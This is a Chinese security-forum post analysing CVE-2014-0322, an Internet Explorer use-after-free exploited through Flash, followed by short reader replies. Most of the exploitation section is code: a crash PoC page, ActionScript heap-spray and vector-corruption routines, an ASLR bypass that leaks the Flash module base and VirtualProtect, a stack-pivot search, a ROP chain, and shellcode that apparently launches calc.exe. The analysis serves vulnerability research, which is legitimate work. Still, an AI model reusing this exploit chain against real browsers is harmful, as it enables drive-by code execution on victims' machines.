首页
社区
课程
招聘
cve-2014-0322完整详细分析
2014-10-15 19:20 8063

cve-2014-0322完整详细分析

2014-10-15 19:20
8063
1.参考文章:
http://www.secniu.com/cve-2014-0322-0day-root-cause-analysis/
http://www.2cto.com/Article/201402/281366.html
利用源码从exploit-db获得,本人只是详细分析了各个步骤。

2.环境搭建
A)As脚本编译,从Adobe网站下载http://www.adobe.com/devnet/flex/flex-sdk-download.html Adobe Flex 3.6 SDK,
需要java环境,(设置好环境变量),然后执行命令:
mxmlc.exe AsXploit.as -o AsXploit.swf
但编译错误,显示没有vector类型。百度一下才知道:
Type was not found or was not a compile-time constant: Vector. 
这 是因为编译时,默认支持的Flash Player的版本是9.0.124。遇到这种错误时,需要修改flex-sdk/frameworks/flex-config.xml, 将<target-player>9.0.124</target-player>改为<target- player>10.0.12</target-player>。
B)真实机搭建iis服务器,虚拟机里面访问漏洞页面。
C)浏览器 flash版本
   

3.漏洞成因分析
1)Crash poc如下:
<html>
<head id="headId">
<title>main page</title>
<script>
function dword2data(dword) {
    var d = Number(dword).toString(16);
    while (d.length < 8)
        d = '0' + d;
    return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));
}

var g_arr = [];
var arrLen = 0x250;

function fun()
{
    var a=0;
    // to alloc the memory
    for(a=0;a<arrLen;++a)
    {
        g_arr[a]=document.createElement('div')
    };

    var b = dword2data(0x41414141);
    while(b.length<0x360) b += dword2data(0x41414141);
    var d=b.substring(0,(0x340-2)/2);
    try{
        this.outerHTML=this.outerHTML
    } catch(e){}
    CollectGarbage();
    //to reuse the freed memory
    for(a=0;a<arrLen;++a)
    {
        g_arr[a].title=d.substring(0,d.length);
    }
}
function puIHa3() {
    var a = document.getElementsByTagName("script");
    var b = a[0];
    b.onpropertychange = fun ;
    var c = document.createElement('SELECT');
    c = b.appendChild(c);//
}
puIHa3();
</script>
</head>
</html>

2)崩溃现场的信息
崩溃时栈回溯信息如下:
0:007> kv
ChildEBP RetAddr  Args to Child              
040bb2c8 66338d6a 03c18f94 040bb4a8 09b0c930 MSHTML!CMarkup::UpdateMarkupContentsVersion+0x16 (FPO: [0,0,0])
040bb338 6633949d 09b0c930 03be7810 03c186a0 MSHTML!CMarkup::NotifyElementEnterTree+0x277 (FPO: [Non-Fpo])040bb37c 66339311 03c186a0 03be7810 03c18fac MSHTML!CMarkup::InsertSingleElement+0x169 (FPO: [Non-Fpo])
040bb45c 66338fbd 09b0c930 03be7810 040bb4a8 MSHTML!CMarkup::InsertElementInternalNoInclusions+0x11d (FPO: [Non-Fpo])
040bb480 66338f7f 03be7810 040bb4a8 040bb4b4 MSHTML!CMarkup::InsertElementInternal+0x2e (FPO: [Non-Fpo])
040bb4c0 66339088 03be7810 040bb5a8 040bb5a8 MSHTML!CDoc::InsertElement+0x9c (FPO: [Non-Fpo])
040bb588 660f4b62 00000000 040bb5a8 002fab68 MSHTML!InsertDOMNodeHelper+0x454 (FPO: [Non-Fpo])
040bb5f4 660f4a6c 03be7810 00000000 00000000 MSHTML!CElement::InsertBeforeHelper+0x92 (FPO: [Non-Fpo])
040bb654 660f511c 00000000 00000003 02fe9190 MSHTML!CElement::InsertBeforeHelper+0xe5 (FPO: [Non-Fpo])
040bb674 660f54a7 03be7810 00000001 00000000 MSHTML!CElement::InsertBefore+0x36 (FPO: [Non-Fpo])
040bb700 660f53c0 02fe9190 040bb740 00000002 MSHTML!CElement::Var_appendChild+0xcb (FPO: [Non-Fpo])
040bb730 6be63c04 07fe48d0 02000002 03a1a090 MSHTML!CFastDOM::CNode::Trampoline_appendChild+0x55 (FPO: [Non-Fpo])
040bb798 6be403d2 07fe48d0 02000002 03a1a090 jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x185 (FPO: [Non-Fpo])
040bb924 6be3f6d5 040bb930 039dc0bc 039d61c0 jscript9!Js::InterpreterStackFrame::Process+0xaab (FPO: [Non-Fpo])
040bba3c 06660fe1 040bba50 040bbbd4 6be40d0c jscript9!Js::InterpreterStackFrame::InterpreterThunk+0x305 (FPO: [Non-Fpo])

注意到,edx指向的内存信息,为title字符串内容,很明显的释放后被string占位。
0:007> dd edx
09b0c930  41414141 41414141 41414141 41414141
09b0c940  41414141 41414141 41414141 41414141
09b0c950  41414141 41414141 41414141 41414141
09b0c960  41414141 41414141 41414141 41414141
09b0c970  41414141 41414141 41414141 41414141
09b0c980  41414141 41414141 41414141 41414141
09b0c990  41414141 41414141 41414141 41414141
09b0c9a0  41414141 41414141 41414142 c1414142

崩溃指令附近的代码块如下:
MSHTML!CMarkup::UpdateMarkupContentsVersion:
661470ac 8b427c          mov     eax,dword ptr [edx+7Ch] //the edx is freed then reused.
661470af 40              inc     eax
661470b0 0d00000080      or      eax,80000000h
661470b5 89427c          mov     dword ptr [edx+7Ch],eax
661470b8 8b82ac000000    mov     eax,dword ptr [edx+0ACh]
661470be 85c0            test    eax,eax
661470c0 7403            je      MSHTML!CMarkup::UpdateMarkupContentsVersion+0x19 (661470c5)
661470c2 ff4010          inc     dword ptr [eax+10h]  ds:0023:41414151=????????

利用!heap命令查看edx指向堆内存的来源,(在此之前需要用gflags设置堆调试选项: gflags /i iexplorer.exe +hpa)可以进一步证实,来自title string。被释放后,又被占位的对象是CMarkup对象。
!heap -p -a edx
    address 09b0c930 found in
    _HEAP @ 220000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        09b0c918 006d 0000  [00]   09b0c930    00340 - (busy)
        76e6ddac ntdll!RtlAllocateHeap+0x00000274
        65f99ecc MSHTML!CAttrArray::Set+0x000003ab
        65f11f3d MSHTML!CAttrArray::Set+0x00000037
        66031ff5 MSHTML!CAttrArray::SetString+0x00000041
        6651f46b MSHTML!BASICPROPPARAMS::SetString+0x00000030
        66493aad MSHTML!BASICPROPPARAMS::SetStringProperty+0x0000048a
        66339a5d MSHTML!CBase::put_StringHelper+0x0000005e
        661dc63d MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_title+0x00000076

3)下断点跟踪CMarkup对象的释放后重用
A) 断点1  bp MSHTML!CMarkup::NotifyElementEnterTree

然后查看第一个参数就是CMarkup对象的地址
!heap -p -a poi(esp+4)
    address 064e3e90 found in
    _HEAP @ 440000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        064e3e78 006d 0000  [00]   064e3e90    00340 - (busy)
          MSHTML!CMarkup::`vftable'
        76e6ddac ntdll!RtlAllocateHeap+0x00000274
        6183fd3e MSHTML!CDoc::CreateMarkupFromInfo+0x0000017f
        61998028 MSHTML!CDoc::CreateMarkupWithElement+0x0000008a
        61aee15c MSHTML!CElement::GetDOMInsertPosition+0x000001c0
        61994b4e MSHTML!CElement::InsertBeforeHelper+0x0000007e
        61994a6c MSHTML!CElement::InsertBeforeHelper+0x000000e5
        6199511c MSHTML!CElement::InsertBefore+0x00000036
        619954a7 MSHTML!CElement::Var_appendChild+0x000000cb
        619953c0 MSHTML!CFastDOM::CNode::Trampoline_appendChild+0x00000055

.text:6365FD23 loc_6365FD23:                           ; CODE XREF: CDoc::CreateMarkupFromInfo(CREATEMARKUPINFO const *,CMarkup * *)+2FA34j
.text:6365FD23                                         ; CDoc::CreateMarkupFromInfo(CREATEMARKUPINFO const *,CMarkup * *)+A8B9AEj
.text:6365FD23                 test    esi, esi
.text:6365FD25                 jz      loc_640EB827
.text:6365FD2B                 push    340h            ; dwBytes
.text:6365FD30                 push    8               ; dwFlags
.text:6365FD32                 push    _g_hProcessHeap ; hHeap
.text:6365FD38                 call    ds:__imp__HeapAlloc@12 ; HeapAlloc(x,x,x)
.text:6365FD3E                 test    eax, eax
.text:6365FD40                 jz      loc_640EB81C
.text:6365FD46                 push    dword ptr [ebx+1Ch]
.text:6365FD49                 push    esi
.text:6365FD4A                 mov     esi, eax
.text:6365FD4C                 call    ??0CMarkup@@QAE@PAVCSecurityContext@@H@Z ; CMarkup::CMarkup(CSecurityContext *,int)

可见 CMarkup对象的大小为0x340,所以title string的大小也是0x340来占位。
B) 断点2  
bu ntdll!RtlFreeHeap ".if (poi(esp+0xc) == object_addr){kv} .else{gc}" (注意object_addr为断点1找到的CMarkup对象的地址)。
在释放CMarkup对象时断下,找到是哪条js语句引起的释放。
栈回溯信息如下:
03aaa05c 76afc3c4 01610000 00000000 056b4600 ntdll!RtlFreeHeap (FPO: [Non-Fpo])
03aaa070 66014bb5 01610000 00000000 056b4600 kernel32!HeapFree+0x14 (FPO: [Non-Fpo])
03aaa088 65f035f7 00000001 65f0366d 03aaa310 MSHTML!CMarkup::`vector deleting destructor'+0x26 (FPO: [Non-Fpo])
03aaa090 65f0366d 03aaa310 056b4600 0170aa20 MSHTML!CBase::SubRelease+0x2e (FPO: [0,0,0])
03aaa0a4 65f8beae 056b4600 00000000 03aaa224 MSHTML!CBase::PrivateRelease+0x7f (FPO: [Non-Fpo])
03aaa0b4 6613191d 056b4600 00000044 046931c0 MSHTML!CMarkup::Release+0x2d (FPO: [Non-Fpo])
03aaa224 66132078 0170aa20 00000005 056b4600 MSHTML!InjectHtmlStream+0x6f9 (FPO: [Non-Fpo])
03aaa264 66132141 03aaa2c8 03aaa310 0170ff54 MSHTML!HandleHTMLInjection+0x82 (FPO: [Non-Fpo])
03aaa358 66124b4c 00000001 0170ff54 00000022 MSHTML!CElement::InjectInternal+0x521 (FPO: [Non-Fpo])
03aaa3cc 662ece26 016ea9a0 00000001 00000001 MSHTML!CElement::InjectTextOrHTML+0x1a4 (FPO: [Non-Fpo])
03aaa3e8 662ecde5 016ea9a0 0170ff54 02cece90 MSHTML!CElement::put_outerHTML+0x1d (FPO: [Non-Fpo])
03aaa410 6bed3c04 05d02360 02000002 0586a090 MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_outerHTML+0x54 (FPO: [Non-Fpo])

可见是js语句this.outerHTML=this.outerHTML引起的CMarkup对象释放。
C) 断点3 观察引用计数的错误
下断点观察CMarkup对象引用计数的变化过程,断点如下:
bu  MSHTML!CMarkup::Release ".if (poi(esp+0x4) == object_addr){kv} .else{gc}"
bu MSHTML!CMarkup::AddRef ".if (poi(esp+0x4) == object_addr){kv} .else{gc}"
(注意object_addr为断点1找到的CMarkup对象的地址)。
可以发现AddRef 调用了两次,Release 调用了三次,最后导致CMarkup对象被错误释放。
2.漏洞利用
1)漏洞利用的思路

该UAF漏洞可以造成加一的效果,通过修改喷射的flash vector的长度字段,可以造成越界访问,通过vector的越界读,达到信息泄露,绕过aslr,通过vector越界写,篡改flash sound对象的虚函数表指针,接着调用sound对象的虚函数劫持控制流,配合信息泄露出来的rop链绕过dep。
2)flash as脚本中vector堆喷射
this.s = new Vector.<Object>(0x18180);
			while (len < 0x18180)
			{
				this.s[len] = new Vector.<uint>(0x1000 / 4 - 16);  ///3f0
				for (i=0; i < this.s[len].length; i++)
				{
					this.s[len][i] = 0x1a1a1a1a;
				}
				
				++len;
			}

每个unit vector对象有0x3f0个unit,喷射0x18180个这样的vector对象。
喷射后部分内存状态如下:
19fff000  000003f0 075be000 1a1a1a1a 1a1a1a1a  ......[.........
1a000000  000003f0 075be000 1a1a1a1a 1a1a1a1a  ......[.........
1a001000  000003f0 075be000 1a1a1a1a 1a1a1a1a  ......[.........
1a002000  000003f0 075be000 1a1a1a1a 1a1a1a1a  ......[.........
1a003000  000003f0 075be000 1a1a1a1a 1a1a1a1a  ......[.........
1a004000  000003f0 075be000 1a1a1a1a 1a1a1a1a  ......[.........
1a005000  000003f0 075be000 1a1a1a1a 1a1a1a1a  ......[.........

另外还喷射了0x100个vector,每个vector中又含有0x1234个sound对象索引。
/* Spray sound object ptr */
			this.sound = new Sound();
			this.spraysound = new Vector.<Object>(0x100);
			
			len = 0;
			while (len < 0x100)
			{
				this.spraysound[len] = new Vector.<Object>(0x1234);
				for (i=0; i < this.spraysound[len].length; i++)
				{
					this.spraysound[len][i] = this.sound;
				}
				++len;
			}

喷射完成后,堆中内存情况如下:
:007> s -d 0x10000000 L?0x10000000 0x1234
26890024  00001234 266f7021 266f7021 266f7021  4...!po&!po&!po&
26895024  00001234 266f7021 266f7021 266f7021  4...!po&!po&!po&
2689a024  00001234 266f7021 266f7021 266f7021  4...!po&!po&!po&
2689f024  00001234 266f7021 266f7021 266f7021  4...!po&!po&!po&
268a4024  00001234 266f7021 266f7021 266f7021  4...!po&!po&!po&
268a9024  00001234 266f7021 266f7021 266f7021  4...!po&!po&!po&
268ae024  00001234 266f7021 266f7021 266f7021  4...!po&!po&!po&

3)漏洞利用,将vector 长度字段改写
由于占位的string对象的构造如下:
var b = dword2data(0x19fffff3);
    while (b.length < 0x360)
    {
        // mov     eax,dword ptr [esi+98h]
        // ...
        // mov     eax,dword ptr [eax+8]
        // and     dword ptr [eax+2F0h],0FFFFFFBFh
        if (b.length == (0x98 / 2))
        {
            b += dword2data(0x1a000010);
        }
        // mov     ecx,dword ptr [edx+94h]
        // mov     eax,dword ptr [ecx+0Ch]
        else if (b.length == (0x94 / 2))
        {
            b += dword2data(0x1a111111);
        }
        // mov     eax,dword ptr [edx+15Ch]
        // mov     ecx,dword ptr [eax+edx*8]
        else if (b.length == (0x15c / 2))
        {
            b += dword2data(0x42424242);
        }
        else
        {
            b += dword2data(0x19fffff3);
        }
    }
     
var d = b.substring(0, ( 0x340 - 2 )/2);

重用释放后被占位的这块内存时,将使0x19fffff3+0x10=0x1a000003位置内存加一。
6b1a944a 8b82ac000000    mov     eax,dword ptr [edx+0ACh]
...
6b1a9454 ff4010          inc     dword ptr [eax+10h]

由于flash unit vector的喷射,1a000000位置为长度字段,0x1a000003位置为长度字段的高位。加一后,该字段由0x3f0变为0x010003f0,vector 可以越界访问了,查找下一个vector的长度字段,将其改写为0x3fffffff,这样vector可以访问64k的内存空间。As脚本中相关代码如下:
for (j=0; j < this.s.length; j++)
			{
				if (this.s[index][j] == 0x000003F0)
				{
					this.s[index][j] = 0x3FFFFFFF;
					
					return j;
				}
				
				j = j + 1;
			}

4)利用超长vector来泄露stackpiovt地址和virtualprotectstub函数地址
A)   找到一个flash 虚函数表指针

该函数表指针前有一个标志,就是00010c00,在此双字之后偏移8*4个字节处为flash中一个虚函数表地址。堆内存布局如下:
0:007> dd 26890000
26890000 00010c00 00004fe0 09acd000 0a0ae068
26890010 266f7000 26890018 00000010 00000000
26890020 62c26f84 00001234 266f7021 266f7021  
26890030 266f7021 266f7021 266f7021 266f7021
26890040 266f7021 266f7021 266f7021 266f7021
26890050 266f7021 266f7021 266f7021 266f7021
26890060 266f7021 266f7021 266f7021 266f7021
26890070 266f7021 266f7021 266f7021 266f7021

As脚本中相关代码如下:
if (this.s[index][j] == 0x00010c00)
				{
					vtableobj = this.s[index][j+0x08] & 0xFFFF0000;

B)  根据虚函数表地址,来查找Flash32_12_0_0_70.ocx模块的基址。
向上查找pe头部标志MZ,来找到模块基址,代码如下:
while (1)
					{						
						if (this.s[index][(vtableobj-cvaddr-k)/4 - 2] == 0x00905A4D)
						{	
							baseflashaddr_off = (vtableobj-cvaddr-k)/4 - 2;
																										ocxinfo[0] = baseflashaddr_off;
							ocxinfo[1] = j;
							ocxinfo[2] = k;
							ocxinfo[3] = vtableobj;
									
							return ocxinfo;
						}
							
						k = k + 0x1000;
					}

C)   根据Flash32_12_0_0_70.ocx导入表信息,找到从kernel32.dll导入的导入函数virtualprotectstub的函数地址。
do
			{
				fct_addr = readInt(this.s[index][baseflashaddr_off+(fct_addr_offset-(fct_addr_offset % 4))/4], this.s[index][baseflashaddr_off+(fct_addr_offset-(fct_addr_offset % 4))/4+1], (fct_addr_offset % 4));
				fct_name_struct = readInt(this.s[index][baseflashaddr_off+(fct_name_offset-(fct_name_offset % 4))/4], this.s[index][baseflashaddr_off+(fct_name_offset-(fct_name_offset % 4))/4+1], (fct_name_offset % 4));
				
				/* VirtualProtectStub() not found */
				if (fct_addr == 0 || fct_name_struct == 0)
					break;
				
				if ((fct_name_struct & 0x80000000) != 0x80000000)
				{
					fct_name_struct = fct_name_struct + 2;
					fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4], this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1], (fct_name_struct % 4));
					
					/* Check VirtualProtect */
					if (fct_name == 0x74726956 || fct_name == 0x54524956)
					{
						fct_name_struct = fct_name_struct + 4;
						fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4], this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1], (fct_name_struct % 4));
						if (fct_name == 0x504c4155 || fct_name == 0x506c6175)
						{
							fct_name_struct = fct_name_struct + 4;
							fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4], this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1], (fct_name_struct % 4));
							if (fct_name == 0x45544f52 || fct_name == 0x65746f72)
							{
								return fct_addr;
							}
						}
					}
				}
				
				/* Next Function() */
				fct_addr_offset = fct_addr_offset + 0x4;
				fct_name_offset = fct_name_offset + 0x4;
			}
			while (1);

D) 从Flash32_12_0_0_70.ocx模块的.text节找到stackpivot指令地址。
/* Find 0xC394 */
			for (sec=0; sec < sn; sec++)
			{
				if (this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4] == 0x7865742E
					&&	this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+1] == 0x74)
				{
					virtualAddr = this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+3];
					virtualSize = this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+2];					
					
					/* Find a stack pivot */
					for (i=0; i < virtualSize/4; i++)
					{
						if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFFFF) != 0xC394)
						{
							if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFFFF00 ) != 0xC39400)
							{
								if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFFFF0000 ) != 0xC3940000)
								{
									if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFF000000 ) == 0x94000000
										&& (this.s[index][baseflashaddr_off+virtualAddr/4 + i + 1] & 0xFF ) == 0xC3)
									{
										sp = virtualAddr + i*4 + 3;
										break;
									}
								}
								else
								{
									sp = virtualAddr + i*4 + 2;
									break;
								}
							}
							else
							{
								sp = virtualAddr + i*4 + 1;
								break;
							}
						}
						else
						{
							sp = virtualAddr + i*4;
							break;
						}
					}
				}
				
			}

5)构造rop链和shellcode
shellcode和rop构造如下

/*  Stack pivot */
			for (i=0; i < 0x200; i++)
				this.s[index][i] = sp;
			
			/* ROP */
			this.s[index][0] = 0x41414141;
			this.s[index][1] = 0x41414141;
			this.s[index][2] = 0x41414141;
			this.s[index][3] = 0x41414141;
			this.s[index][4] = virtualprotectaddr;
			this.s[index][5] = cvaddr+0xC00+8;
			this.s[index][6] = cvaddr;
			this.s[index][7] = 0x4000;
			this.s[index][8] = 0x40;
			this.s[index][9] = 0x1a002000;
			
			/* Shellcode */
			this.s[index][sh++]=0x0089E8FC;
			this.s[index][sh++]=0x89600000;
			this.s[index][sh++]=0x64D231E5;
			this.s[index][sh++]=0x8B30528B;
			this.s[index][sh++]=0x528B0C52;
			this.s[index][sh++]=0x28728B14;
			this.s[index][sh++]=0x264AB70F;
			this.s[index][sh++]=0xC031FF31;
			this.s[index][sh++]=0x7C613CAC;
			this.s[index][sh++]=0xC1202C02;
			this.s[index][sh++]=0xC7010DCF;
			this.s[index][sh++]=0x5752F0E2;
			this.s[index][sh++]=0x8B10528B;
			this.s[index][sh++]=0xD0013C42;
			this.s[index][sh++]=0x8578408B;
			this.s[index][sh++]=0x014A74C0;
			this.s[index][sh++]=0x488B50D0;
			this.s[index][sh++]=0x20588B18;
			this.s[index][sh++]=0x3CE3D301;
			this.s[index][sh++]=0x8B348B49;
			this.s[index][sh++]=0xFF31D601;
			this.s[index][sh++]=0xC1ACC031;
			this.s[index][sh++]=0xC7010DCF;
			this.s[index][sh++]=0xF475E038;
			this.s[index][sh++]=0x3BF87D03;
			this.s[index][sh++]=0xE275247D;
			this.s[index][sh++]=0x24588B58;
			this.s[index][sh++]=0x8B66D301;
			this.s[index][sh++]=0x588B4B0C;
			this.s[index][sh++]=0x8BD3011C;
			this.s[index][sh++]=0xD0018B04;
			this.s[index][sh++]=0x24244489;
			this.s[index][sh++]=0x59615B5B;
			this.s[index][sh++]=0xE0FF515A;
			this.s[index][sh++]=0x8B5A5F58;
			this.s[index][sh++]=0x5D86EB12;
			this.s[index][sh++]=0x858D016A;
			this.s[index][sh++]=0x000000B9;
			this.s[index][sh++]=0x8B316850;
			this.s[index][sh++]=0xD5FF876F;
			this.s[index][sh++]=0x2A1DE0BB;
			this.s[index][sh++]=0x95A6680A;
			this.s[index][sh++]=0xD5FF9DBD;
			this.s[index][sh++]=0x0A7C063C;
			this.s[index][sh++]=0x75E0FB80;
			this.s[index][sh++]=0x1347BB05;
			this.s[index][sh++]=0x006A6F72;
			this.s[index][sh++]=0x63D5FF53;
			this.s[index][sh++]=0x2E636C61;
			this.s[index][sh++]=0x00657865;

B)  改写sound对象的虚函数表指针,指向存放virtualprotectstub函数地址的位置。。
/* Corrupt sound object vtable ptr */
			while (1)
			{
				if (this.s[index][j] == 0x00010c00 && this.s[index][j+0x09] == 0x1234)
				{	
					soundobjref = this.s[index][j+0x0A];
					dec = soundobjref-cvaddr-1;
					this.s[index][dec/4-2] = cvaddr+2*4+4*4;
					break;
				}
				
				j++;
			}

调试时加入以下锚点,打印出stackpivot的地址
As脚本中加入:
var str3:String= stackpivot.toString();
flash.external.ExternalInterface.call("show","stackpivot\n");
flash.external.ExternalInterface.call("show",str3);

Html脚本中show函数的实现为:
function show(text){Math.atan2(0xbadc0de, text);}

断点为:
bu jscript9!Js::Math::Atan2 ".printf \"%mu\", poi(poi(esp+14)+c);.echo;"

Windbg中断点处打印出:
0:007> g
stackpivot

eax=0426cb60 ebx=0426408a ecx=00000003 edx=0323b040 esi=00000003 edi=0323b254
eip=6d8fa5c1 esp=0323b034 ebp=0323b070 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
jscript9!Js::Math::Atan2:
6d8fa5c1 8bff            mov     edi,edi
0:007> g
1643964164
eax=0426ca30 ebx=0426408a ecx=00000003 edx=0323b040 esi=00000003 edi=0323b254
eip=6d8fa5c1 esp=0323b034 ebp=0323b070 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
jscript9!Js::Math::Atan2:
6d8fa5c1 8bff            mov     edi,edi
0:007> ? 0n1643964164
Evaluate expression: 1643964164 = 61fce704

然后在stackpivot处下断点:
0:007> ba e1 0x61fce704
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\system32\Macromed\Flash\Flash32_12_0_0_70.ocx - 
0:007> g
Breakpoint 1 hit
eax=1a001018 ebx=0323b9e0 ecx=255d6020 edx=61fce704 esi=09463020 edi=09463020
eip=61fce704 esp=0323b924 ebp=0323b950 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
Flash32_12_0_0_70+0x2e704:
61fce704 94              xchg    eax,esp
0:007> dd esp
0323b924  625ffb97
0:007> ? 625ffb97 -Flash32_12_0_0_70.ocx
Evaluate expression: 6683543 = 0065fb97

此时esp处地址为返回地址,即调用sound虚函数this.sound.toString()的地址。
在ida中找到该处代码:
.text:1065FB8D                 and     ecx, 0FFFFFFF8h
.text:1065FB90                 mov     eax, [ecx]  //获得虚函数表指针,为cvaddr+2*4+4*4
.text:1065FB92               mov     edx, [eax+70h] ///70h指向stackpivot处
.text:1065FB95                 call    edx  ///调用toString虚函数
.text:1065FB97                 pop     esi
.text:1065FB98                 retn    4

调用虚函数后,接着执行stackpivot:
61fce704 94              xchg    eax,esp
61fce705 c3              ret

此时esp指向了cvaddr+2*4+4*4,即virtualprotectstub地址处
接着执行virtualprotectstub函数,函数参数为内存起始地址为超长的当前vector起始地址,大小为0x4000,修改为可执行。
执行完了virtualprotectstub函数以后,返回地址为cvaddr+0xC00+8;
接着执行shellcode,弹出计算器。
附件里面有poc和分析文档,还有windbg调试记录
0322调试记录.zip

[培训]《安卓高级研修班(网课)》月薪三万计划,掌 握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

上传的附件:
收藏
免费 3
打赏
分享
最新回复 (18)
雪    币: 200
活跃值: (38)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
ganboing 1 2014-10-15 19:29
2
0
感谢分享
雪    币: 56
活跃值: (34)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
LessonXK 1 2014-10-15 19:52
3
0
学习了,多谢分享
雪    币: 35399
活跃值: (19020)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
kanxue 8 2014-10-15 20:33
4
0
感谢你与大家分享心得!
雪    币: 101
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
suwey 2014-10-15 21:13
5
0
。。。完了。。看不懂。。
雪    币: 135
活跃值: (64)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
fatecaster 1 2014-10-15 21:33
6
0
mark,太忙了,有空学习,看样子这个cve不错
雪    币: 37
活跃值: (28)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
SpaceDye 2014-10-15 23:03
7
0
不错,支持一下。
雪    币: 85
活跃值: (51)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
grusirna 1 2014-10-16 05:03
8
0
这是哪朝天书..看了让人莫名其妙的恼火
雪    币: 7859
活跃值: (2321)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
option 2014-10-16 08:10
9
0
业余爱好者路过
雪    币: 215
活跃值: (90)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
HelloCrack 2014-10-16 08:24
10
0
这篇0322分析比较完整,0322的分析第一次见到是古河的分析,但是没有提供poc,细节也没有这么多。
谢谢!
雪    币: 6
活跃值: (980)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lookzo 2014-10-16 10:32
11
0
good job
雪    币: 615
活跃值: (445)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
ugvjewxf 2014-10-16 22:44
12
0
知道很NB的东西,可惜看不懂,
雪    币: 290
活跃值: (58)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
tforever 2014-10-17 09:00
13
0
非常感谢。!
雪    币: 1784
活跃值: (513)
能力值: ( LV12,RANK:310 )
在线值:
发帖
回帖
粉丝
木无聊偶 4 2014-10-17 12:59
14
0
mark~感谢楼主的无私分享O(∩_∩)O~
雪    币: 353
活跃值: (449)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
proteas 2 2014-10-17 17:29
15
0
谢谢分享。
雪    币: 12
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Klissan 2014-10-19 14:40
16
0
感谢分享 如果能更细致一些就好了
雪    币: 240
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
caozhihua 2014-10-19 20:39
17
0
给作者赞一个,也分享一下我的调试过程:http://www.360sec.cn/?p=88
雪    币: 135
活跃值: (64)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
fatecaster 1 2015-5-12 14:57
18
0
调试另外一个漏洞的时候又想起试了一下这个命令。挺好用的,之前没显示,因为我的电脑设置不上flags,启动就是开不了页堆,xp下设置却挺简单。
感谢分享,0322这个主要是as脚本比较好用,楼主对漏洞原因的分析比较详细。而且这个漏洞,无法稳定利用,失败的几率还是挺大的,比如1a000000没有被flash.ocx分配到,又或者sound对象被分配到1a001000之前,再怎么寻址也寻不到这个对象。
雪    币: 799
活跃值: (452)
能力值: ( LV12,RANK:280 )
在线值:
发帖
回帖
粉丝
Ox9A82 3 2016-8-19 09:17
19
0
把任意地址加1转化成任意代码执行,利用很优雅,学习了
游客
登录 | 注册 方可回帖
返回